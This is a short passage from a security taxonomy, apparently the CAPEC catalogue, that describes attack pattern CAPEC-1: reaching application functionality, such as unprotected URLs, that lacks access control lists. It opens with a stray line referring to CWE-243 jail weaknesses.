  • Be careful to avoid CWE-243 and other weaknesses related to jails.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.